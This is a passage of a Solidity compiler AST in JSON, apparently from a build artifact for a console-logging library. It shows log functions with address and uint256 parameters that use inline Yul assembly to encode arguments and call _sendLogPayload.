435,"isOffset":false,"isSlot":false,"src":"85174:2:22","valueSize":1},{"declaration":36438,"isOffset":false,"isSlot":false,"src":"85204:2:22","valueSize":1},{"declaration":36416,"isOffset":false,"isSlot":false,"src":"85351:2:22","valueSize":1},{"declaration":36418,"isOffset":false,"isSlot":false,"src":"85380:2:22","valueSize":1},{"declaration":36420,"isOffset":false,"isSlot":false,"src":"85409:2:22","valueSize":1},{"declaration":36422,"isOffset":false,"isSlot":false,"src":"85438:2:22","valueSize":1}],"id":36440,"nodeType":"InlineAssembly","src":"85061:390:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":36442,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"85476:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":36443,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"85482:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":36441,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"85460:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":36444,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"85460:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":36445,"nodeType":"ExpressionStatement","src":"85460:27:22"},{"AST":{"nativeSrc":"85506:156:22","nodeType":"YulBlock","src":"85506:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"85527:4:22","nodeType":"YulLiteral","src":"85527:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"85533:2:22","nodeType":"YulIdentifier","src":"85533:2:22"}],"functionName":{"name":"mstore","nativeSrc":"85520:6:22","nodeType":"YulIdentifier","src":"85520:6:22"},"nativeSrc":"85520:16:22","nodeType":"YulFunctionCall","src":"85520:16:22"},"nativeSrc":"85520:16:22","nodeType":"YulExpressionStatement","src":"85520:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"85556:4:22","nodeType":"YulLiteral","src":"85556:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"85562:2:22","nodeType":"YulIdentifier","src":"85562:2:22"}],"functionName":{"name":"mstore","nativeSrc":"85549:6:22","nodeType":"YulIdentifier","src":"85549:6:22"},"nativeSrc":"85549:16:22","nodeType":"YulFunctionCall","src":"85549:16:22"},"nativeSrc":"85549:16:22","nodeType":"YulExpressionStatement","src":"85549:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"85585:4:22","nodeType":"YulLiteral","src":"85585:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"85591:2:22","nodeType":"YulIdentifier","src":"85591:2:22"}],"functionName":{"name":"mstore","nativeSrc":"85578:6:22","nodeType":"YulIdentifier","src":"85578:6:22"},"nativeSrc":"85578:16:22","nodeType":"YulFunctionCall","src":"85578:16:22"},"nativeSrc":"85578:16:22","nodeType":"YulExpressionStatement","src":"85578:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"85614:4:22","nodeType":"YulLiteral","src":"85614:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"85620:2:22","nodeType":"YulIdentifier","src":"85620:2:22"}],"functionName":{"name":"mstore","nativeSrc":"85607:6:22","nodeType":"YulIdentifier","src":"85607:6:22"},"nativeSrc":"85607:16:22","nodeType":"YulFunctionCall","src":"85607:16:22"},"nativeSrc":"85607:16:22","nodeType":"YulExpressionStatement","src":"85607:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"85643:4:22","nodeType":"YulLiteral","src":"85643:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"85649:2:22","nodeType":"YulIdentifier","src":"85649:2:22"}],"functionName":{"name":"mstore","nativeSrc":"85636:6:22","nodeType":"YulIdentifier","src":"85636:6:22"},"nativeSrc":"85636:16:22","nodeType":"YulFunctionCall","src":"85636:16:22"},"nativeSrc":"85636:16:22","nodeType":"YulExpressionStatement","src":"85636:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36426,"isOffset":false,"isSlot":false,"src":"85533:2:22","valueSize":1},{"declaration":36429,"isOffset":false,"isSlot":false,"src":"85562:2:22","valueSize":1},{"declaration":36432,"isOffset":false,"isSlot":false,"src":"85591:2:22","valueSize":1},{"declaration":36435,"isOffset":false,"isSlot":false,"src":"85620:2:22","valueSize":1},{"declaration":36438,"isOffset":false,"isSlot":false,"src":"85649:2:22","valueSize":1}],"id":36446,"nodeType":"InlineAssembly","src":"85497:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"84885:3:22","parameters":{"id":36423,"nodeType":"ParameterList","parameters":[{"constant":false,"id":36416,"mutability":"mutable","name":"p0","nameLocation":"84897:2:22","nodeType":"VariableDeclaration","scope":36448,"src":"84889:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36415,"name":"address","nodeType":"ElementaryTypeName","src":"84889:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36418,"mutability":"mutable","name":"p1","nameLocation":"84909:2:22","nodeType":"VariableDeclaration","scope":36448,"src":"84901:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36417,"name":"address","nodeType":"ElementaryTypeName","src":"84901:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36420,"mutability":"mutable","name":"p2","nameLocation":"84921:2:22","nodeType":"VariableDeclaration","scope":36448,"src":"84913:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36419,"name":"address","nodeType":"ElementaryTypeName","src":"84913:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36422,"mutability":"mutable","name":"p3","nameLocation":"84933:2:22","nodeType":"VariableDeclaration","scope":36448,"src":"84925:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":36421,"name":"uint256","nodeType":"ElementaryTypeName","src":"84925:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"84888:48:22"},"returnParameters":{"id":36424,"nodeType":"ParameterList","parameters":[],"src":"84951:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":36488,"nodeType":"FunctionDefinition","src":"85674:1340:22","nodes":[],"body":{"id":36487,"nodeType":"Block","src":"85749:1265:22","nodes":[],"statements":[{"assignments":[36460],"declarations":[{"constant":false,"id":36460,"mutability":"mutable","name":"m0","nameLocation":"85767:2:22","nodeType":"VariableDeclaration","scope":36487,"src":"85759:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36459,"name":"bytes32","nodeType":"ElementaryTypeName","src":"85759:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36461,"nodeType":"VariableDeclarationStatement","src":"85759:10:22"},{"assignments":[36463],"declarations":[{"constant":false,"id":36463,"mutability":"mutable","name":"m1","nameLocation":"85787:2:22","nodeType":"VariableDeclaration","scope":36487,"src":"85779:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36462,"name":"bytes32","nodeType":"ElementaryTypeName","src":"85779:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36464,"nodeType":"VariableDeclarationStatement","src":"85779:10:22"},{"assignments":[36466],"declarations":[{"constant":false,"id":36466,"mutability":"mutable","name":"m2","nameLocation":"85807:2:22","nodeType":"VariableDeclaration","scope":36487,"src":"85799:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36465,"name":"bytes32","nodeType":"ElementaryTypeName","src":"85799:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36467,"nodeType":"VariableDeclarationStatement","src":"85799:10:22"},{"assignments":[36469],"declarations":[{"constant":false,"id":36469,"mutability":"mutable","name":"m3","nameLocation":"85827:2:22","nodeType":"VariableDeclaration","scope":36487,"src":"85819:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36468,"name":"bytes32","nodeType":"ElementaryTypeName","src":"85819:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36470,"nodeType":"VariableDeclarationStatement","src":"85819:10:22"},{"assignments":[36472],"declarations":[{"constant":false,"id":36472,"mutability":"mutable","name":"m4","nameLocation":"85847:2:22","nodeType":"VariableDeclaration","scope":36487,"src":"85839:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36471,"name":"bytes32","nodeType":"ElementaryTypeName","src":"85839:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36473,"nodeType":"VariableDeclarationStatement","src":"85839:10:22"},{"assignments":[36475],"declarations":[{"constant":false,"id":36475,"mutability":"mutable","name":"m5","nameLocation":"85867:2:22","nodeType":"VariableDeclaration","scope":36487,"src":"85859:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36474,"name":"bytes32","nodeType":"ElementaryTypeName","src":"85859:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36476,"nodeType":"VariableDeclarationStatement","src":"85859:10:22"},{"assignments":[36478],"declarations":[{"constant":false,"id":36478,"mutability":"mutable","name":"m6","nameLocation":"85887:2:22","nodeType":"VariableDeclaration","scope":36487,"src":"85879:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36477,"name":"bytes32","nodeType":"ElementaryTypeName","src":"85879:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36479,"nodeType":"VariableDeclarationStatement","src":"85879:10:22"},{"AST":{"nativeSrc":"85908:831:22","nodeType":"YulBlock","src":"85908:831:22","statements":[{"body":{"nativeSrc":"85951:313:22","nodeType":"YulBlock","src":"85951:313:22","statements":[{"nativeSrc":"85969:15:22","nodeType":"YulVariableDeclaration","src":"85969:15:22","value":{"kind":"number","nativeSrc":"85983:1:22","nodeType":"YulLiteral","src":"85983:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"85973:6:22","nodeType":"YulTypedName","src":"85973:6:22","type":""}]},{"body":{"nativeSrc":"86054:40:22","nodeType":"YulBlock","src":"86054:40:22","statements":[{"body":{"nativeSrc":"86083:9:22","nodeType":"YulBlock","src":"86083:9:22","statements":[{"nativeSrc":"86085:5:22","nodeType":"YulBreak","src":"86085:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"86071:6:22","nodeType":"YulIdentifier","src":"86071:6:22"},{"name":"w","nativeSrc":"86079:1:22","nodeType":"YulIdentifier","src":"86079:1:22"}],"functionName":{"name":"byte","nativeSrc":"86066:4:22","nodeType":"YulIdentifier","src":"86066:4:22"},"nativeSrc":"86066:15:22","nodeType":"YulFunctionCall","src":"86066:15:22"}],"functionName":{"name":"iszero","nativeSrc":"86059:6:22","nodeType":"YulIdentifier","src":"86059:6:22"},"nativeSrc":"86059:23:22","nodeType":"YulFunctionCall","src":"86059:23:22"},"nativeSrc":"86056:36:22","nodeType":"YulIf","src":"86056:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"86011:6:22","nodeType":"YulIdentifier","src":"86011:6:22"},{"kind":"number","nativeSrc":"86019:4:22","nodeType":"YulLiteral","src":"86019:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"86008:2:22","nodeType":"YulIdentifier","src":"86008:2:22"},"nativeSrc":"86008:16:22","nodeType":"YulFunctionCall","src":"86008:16:22"},"nativeSrc":"86001:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"86025:28:22","nodeType":"YulBlock","src":"86025:28:22","statements":[{"nativeSrc":"86027:24:22","nodeType":"YulAssignment","src":"86027:24:22","value":{"arguments":[{"name":"length","nativeSrc":"86041:6:22","nodeType":"YulIdentifier","src":"86041:6:22"},{"kind":"number","nativeSrc":"86049:1:22","nodeType":"YulLiteral","src":"86049:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"86037:3:22","nodeType":"YulIdentifier","src":"86037:3:22"},"nativeSrc":"86037:14:22","nodeType":"YulFunctionCall","src":"86037:14:22"},"variableNames":[{"name":"length","nativeSrc":"86027:6:22","nodeType":"YulIdentifier","src":"86027:6:22"}]}]},"pre":{"nativeSrc":"86005:2:22","nodeType":"YulBlock","src":"86005:2:22","statements":[]},"src":"86001:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"86118:3:22","nodeType":"YulIdentifier","src":"86118:3:22"},{"name":"length","nativeSrc":"86123:6:22","nodeType":"YulIdentifier","src":"86123:6:22"}],"functionName":{"name":"mstore","nativeSrc":"86111:6:22","nodeType":"YulIdentifier","src":"86111:6:22"},"nativeSrc":"86111:19:22","nodeType":"YulFunctionCall","src":"86111:19:22"},"nativeSrc":"86111:19:22","nodeType":"YulExpressionStatement","src":"86111:19:22"},{"nativeSrc":"86147:37:22","nodeType":"YulVariableDeclaration","src":"86147:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"86164:3:22","nodeType":"YulLiteral","src":"86164:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"86173:1:22","nodeType":"YulLiteral","src":"86173:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"86176:6:22","nodeType":"YulIdentifier","src":"86176:6:22"}],"functionName":{"name":"shl","nativeSrc":"86169:3:22","nodeType":"YulIdentifier","src":"86169:3:22"},"nativeSrc":"86169:14:22","nodeType":"YulFunctionCall","src":"86169:14:22"}],"functionName":{"name":"sub","nativeSrc":"86160:3:22","nodeType":"YulIdentifier","src":"86160:3:22"},"nativeSrc":"86160:24:22","nodeType":"YulFunctionCall","src":"86160:24:22"},"variables":[{"name":"shift","nativeSrc":"86151:5:22","nodeType":"YulTypedName","src":"86151:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"86212:3:22","nodeType":"YulIdentifier","src":"86212:3:22"},{"kind":"number","nativeSrc":"86217:4:22","nodeType":"YulLiteral","src":"86217:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"86208:3:22","nodeType":"YulIdentifier","src":"86208:3:22"},"nativeSrc":"86208:14:22","nodeType":"YulFunctionCall","src":"86208:14:22"},{"arguments":[{"name":"shift","nativeSrc":"86228:5:22","nodeType":"YulIdentifier","src":"86228:5:22"},{"arguments":[{"name":"shift","nativeSrc":"86239:5:22","nodeType":"YulIdentifier","src":"86239:5:22"},{"name":"w","nativeSrc":"86246:1:22","nodeType":"YulIdentifier","src":"86246:1:22"}],"functionName":{"name":"shr","nativeSrc":"86235:3:22","nodeType":"YulIdentifier","src":"86235:3:22"},"nativeSrc":"86235:13:22","nodeType":"YulFunctionCall","src":"86235:13:22"}],"functionName":{"name":"shl","nativeSrc":"86224:3:22","nodeType":"YulIdentifier","src":"86224:3:22"},"nativeSrc":"86224:25:22","nodeType":"YulFunctionCall","src":"86224:25:22"}],"functionName":{"name":"mstore","nativeSrc":"86201:6:22","nodeType":"YulIdentifier","src":"86201:6:22"},"nativeSrc":"86201:49:22","nodeType":"YulFunctionCall","src":"86201:49:22"},"nativeSrc":"86201:49:22","nodeType":"YulExpressionStatement","src":"86201:49:22"}]},"name":"writeString","nativeSrc":"85922:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"85943:3:22","nodeType":"YulTypedName","src":"85943:3:22","type":""},{"name":"w","nativeSrc":"85948:1:22","nodeType":"YulTypedName","src":"85948:1:22","type":""}],"src":"85922:342:22"},{"nativeSrc":"86277:17:22","nodeType":"YulAssignment","src":"86277:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"86289:4:22","nodeType":"YulLiteral","src":"86289:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"86283:5:22","nodeType":"YulIdentifier","src":"86283:5:22"},"nativeSrc":"86283:11:22","nodeType":"YulFunctionCall","src":"86283:11:22"},"variableNames":[{"name":"m0","nativeSrc":"86277:2:22","nodeType":"YulIdentifier","src":"86277:2:22"}]},{"nativeSrc":"86307:17:22","nodeType":"YulAssignment","src":"86307:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"86319:4:22","nodeType":"YulLiteral","src":"86319:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"86313:5:22","nodeType":"YulIdentifier","src":"86313:5:22"},"nativeSrc":"86313:11:22","nodeType":"YulFunctionCall","src":"86313:11:22"},"variableNames":[{"name":"m1","nativeSrc":"86307:2:22","nodeType":"YulIdentifier","src":"86307:2:22"}]},{"nativeSrc":"86337:17:22","nodeType":"YulAssignment","src":"86337:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"86349:4:22","nodeType":"YulLiteral","src":"86349:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"86343:5:22","nodeType":"YulIdentifier","src":"86343:5:22"},"nativeSrc":"86343:11:22","nodeType":"YulFunctionCall","src":"86343:11:22"},"variableNames":[{"name":"m2","nativeSrc":"86337:2:22","nodeType":"YulIdentifier","src":"86337:2:22"}]},{"nativeSrc":"86367:17:22","nodeType":"YulAssignment","src":"86367:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"86379:4:22","nodeType":"YulLiteral","src":"86379:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"86373:5:22","nodeType":"YulIdentifier","src":"86373:5:22"},"nativeSrc":"86373:11:22","nodeType":"YulFunctionCall","src":"86373:11:22"},"variableNames":[{"name":"m3","nativeSrc":"86367:2:22","nodeType":"YulIdentifier","src":"86367:2:22"}]},{"nativeSrc":"86397:17:22","nodeType":"YulAssignment","src":"86397:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"86409:4:22","nodeType":"YulLiteral","src":"86409:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"86403:5:22","nodeType":"YulIdentifier","src":"86403:5:22"},"nativeSrc":"86403:11:22","nodeType":"YulFunctionCall","src":"86403:11:22"},"variableNames":[{"name":"m4","nativeSrc":"86397:2:22","nodeType":"YulIdentifier","src":"86397:2:22"}]},{"nativeSrc":"86427:17:22","nodeType":"YulAssignment","src":"86427:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"86439:4:22","nodeType":"YulLiteral","src":"86439:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"86433:5:22","nodeType":"YulIdentifier","src":"86433:5:22"},"nativeSrc":"86433:11:22","nodeType":"YulFunctionCall","src":"86433:11:22"},"variableNames":[{"name":"m5","nativeSrc":"86427:2:22","nodeType":"YulIdentifier","src":"86427:2:22"}]},{"nativeSrc":"86457:17:22","nodeType":"YulAssignment","src":"86457:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"86469:4:22","nodeType":"YulLiteral","src":"86469:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"86463:5:22","nodeType":"YulIdentifier","src":"86463:5:22"},"nativeSrc":"86463:11:22","nodeType":"YulFunctionCall","src":"86463:11:22"},"variableNames":[{"name":"m6","nativeSrc":"86457:2:22","nodeType":"YulIdentifier","src":"86457:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"86560:4:22","nodeType":"YulLiteral","src":"86560:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"86566:10:22","nodeType":"YulLiteral","src":"86566:10:22","type":"","value":"0xf808da20"}],"functionName":{"name":"mstore","nativeSrc":"86553:6:22","nodeType":"YulIdentifier","src":"86553:6:22"},"nativeSrc":"86553:24:22","nodeType":"YulFunctionCall","src":"86553:24:22"},"nativeSrc":"86553:24:22","nodeType":"YulExpressionStatement","src":"86553:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"86597:4:22","nodeType":"YulLiteral","src":"86597:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"86603:2:22","nodeType":"YulIdentifier","src":"86603:2:22"}],"functionName":{"name":"mstore","nativeSrc":"86590:6:22","nodeType":"YulIdentifier","src":"86590:6:22"},"nativeSrc":"86590:16:22","nodeType":"YulFunctionCall","src":"86590:16:22"},"nativeSrc":"86590:16:22","nodeType":"YulExpressionStatement","src":"86590:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"86626:4:22","nodeType":"YulLiteral","src":"86626:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"86632:2:22","nodeType":"YulIdentifier","src":"86632:2:22"}],"functionName":{"name":"mstore","nativeSrc":"86619:6:22","nodeType":"YulIdentifier","src":"86619:6:22"},"nativeSrc":"86619:16:22","nodeType":"YulFunctionCall","src":"86619:16:22"},"nativeSrc":"86619:16:22","nodeType":"YulExpressionStatement","src":"86619:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"86655:4:22","nodeType":"YulLiteral","src":"86655:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"86661:2:22","nodeType":"YulIdentifier","src":"86661:2:22"}],"functionName":{"name":"mstore","nativeSrc":"86648:6:22","nodeType":"YulIdentifier","src":"86648:6:22"},"nativeSrc":"86648:16:22","nodeType":"YulFunctionCall","src":"86648:16:22"},"nativeSrc":"86648:16:22","nodeType":"YulExpressionStatement","src":"86648:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"86684:4:22","nodeType":"YulLiteral","src":"86684:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"86690:4:22","nodeType":"YulLiteral","src":"86690:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"86677:6:22","nodeType":"YulIdentifier","src":"86677:6:22"},"nativeSrc":"86677:18:22","nodeType":"YulFunctionCall","src":"86677:18:22"},"nativeSrc":"86677:18:22","nodeType":"YulExpressionStatement","src":"86677:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"86720:4:22","nodeType":"YulLiteral","src":"86720:4:22","type":"","value":"0xa0"},{"name":"p3","nativeSrc":"86726:2:22","nodeType":"YulIdentifier","src":"86726:2:22"}],"functionName":{"name":"writeString","nativeSrc":"86708:11:22","nodeType":"YulIdentifier","src":"86708:11:22"},"nativeSrc":"86708:21:22","nodeType":"YulFunctionCall","src":"86708:21:22"},"nativeSrc":"86708:21:22","nodeType":"YulExpressionStatement","src":"86708:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36460,"isOffset":false,"isSlot":false,"src":"86277:2:22","valueSize":1},{"declaration":36463,"isOffset":false,"isSlot":false,"src":"86307:2:22","valueSize":1},{"declaration":36466,"isOffset":false,"isSlot":false,"src":"86337:2:22","valueSize":1},{"declaration":36469,"isOffset":false,"isSlot":false,"src":"86367:2:22","valueSize":1},{"declaration":36472,"isOffset":false,"isSlot":false,"src":"86397:2:22","valueSize":1},{"declaration":36475,"isOffset":false,"isSlot":false,"src":"86427:2:22","valueSize":1},{"declaration":36478,"isOffset":false,"isSlot":false,"src":"86457:2:22","valueSize":1},{"declaration":36450,"isOffset":false,"isSlot":false,"src":"86603:2:22","valueSize":1},{"declaration":36452,"isOffset":false,"isSlot":false,"src":"86632:2:22","valueSize":1},{"declaration":36454,"isOffset":false,"isSlot":false,"src":"86661:2:22","valueSize":1},{"declaration":36456,"isOffset":false,"isSlot":false,"src":"86726:2:22","valueSize":1}],"id":36480,"nodeType":"InlineAssembly","src":"85899:840:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":36482,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"86764:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":36483,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"86770:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":36481,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"86748:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":36484,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"86748:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":36485,"nodeType":"ExpressionStatement","src":"86748:27:22"},{"AST":{"nativeSrc":"86794:214:22","nodeType":"YulBlock","src":"86794:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"86815:4:22","nodeType":"YulLiteral","src":"86815:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"86821:2:22","nodeType":"YulIdentifier","src":"86821:2:22"}],"functionName":{"name":"mstore","nativeSrc":"86808:6:22","nodeType":"YulIdentifier","src":"86808:6:22"},"nativeSrc":"86808:16:22","nodeType":"YulFunctionCall","src":"86808:16:22"},"nativeSrc":"86808:16:22","nodeType":"YulExpressionStatement","src":"86808:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"86844:4:22","nodeType":"YulLiteral","src":"86844:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"86850:2:22","nodeType":"YulIdentifier","src":"86850:2:22"}],"functionName":{"name":"mstore","nativeSrc":"86837:6:22","nodeType":"YulIdentifier","src":"86837:6:22"},"nativeSrc":"86837:16:22","nodeType":"YulFunctionCall","src":"86837:16:22"},"nativeSrc":"86837:16:22","nodeType":"YulExpressionStatement","src":"86837:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"86873:4:22","nodeType":"YulLiteral","src":"86873:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"86879:2:22","nodeType":"YulIdentifier","src":"86879:2:22"}],"functionName":{"name":"mstore","nativeSrc":"86866:6:22","nodeType":"YulIdentifier","src":"86866:6:22"},"nativeSrc":"86866:16:22","nodeType":"YulFunctionCall","src":"86866:16:22"},"nativeSrc":"86866:16:22","nodeType":"YulExpressionStatement","src":"86866:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"86902:4:22","nodeType":"YulLiteral","src":"86902:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"86908:2:22","nodeType":"YulIdentifier","src":"86908:2:22"}],"functionName":{"name":"mstore","nativeSrc":"86895:6:22","nodeType":"YulIdentifier","src":"86895:6:22"},"nativeSrc":"86895:16:22","nodeType":"YulFunctionCall","src":"86895:16:22"},"nativeSrc":"86895:16:22","nodeType":"YulExpressionStatement","src":"86895:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"86931:4:22","nodeType":"YulLiteral","src":"86931:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"86937:2:22","nodeType":"YulIdentifier","src":"86937:2:22"}],"functionName":{"name":"mstore","nativeSrc":"86924:6:22","nodeType":"YulIdentifier","src":"86924:6:22"},"nativeSrc":"86924:16:22","nodeType":"YulFunctionCall","src":"86924:16:22"},"nativeSrc":"86924:16:22","nodeType":"YulExpressionStatement","src":"86924:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"86960:4:22","nodeType":"YulLiteral","src":"86960:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"86966:2:22","nodeType":"YulIdentifier","src":"86966:2:22"}],"functionName":{"name":"mstore","nativeSrc":"86953:6:22","nodeType":"YulIdentifier","src":"86953:6:22"},"nativeSrc":"86953:16:22","nodeType":"YulFunctionCall","src":"86953:16:22"},"nativeSrc":"86953:16:22","nodeType":"YulExpressionStatement","src":"86953:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"86989:4:22","nodeType":"YulLiteral","src":"86989:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"86995:2:22","nodeType":"YulIdentifier","src":"86995:2:22"}],"functionName":{"name":"mstore","nativeSrc":"86982:6:22","nodeType":"YulIdentifier","src":"86982:6:22"},"nativeSrc":"86982:16:22","nodeType":"YulFunctionCall","src":"86982:16:22"},"nativeSrc"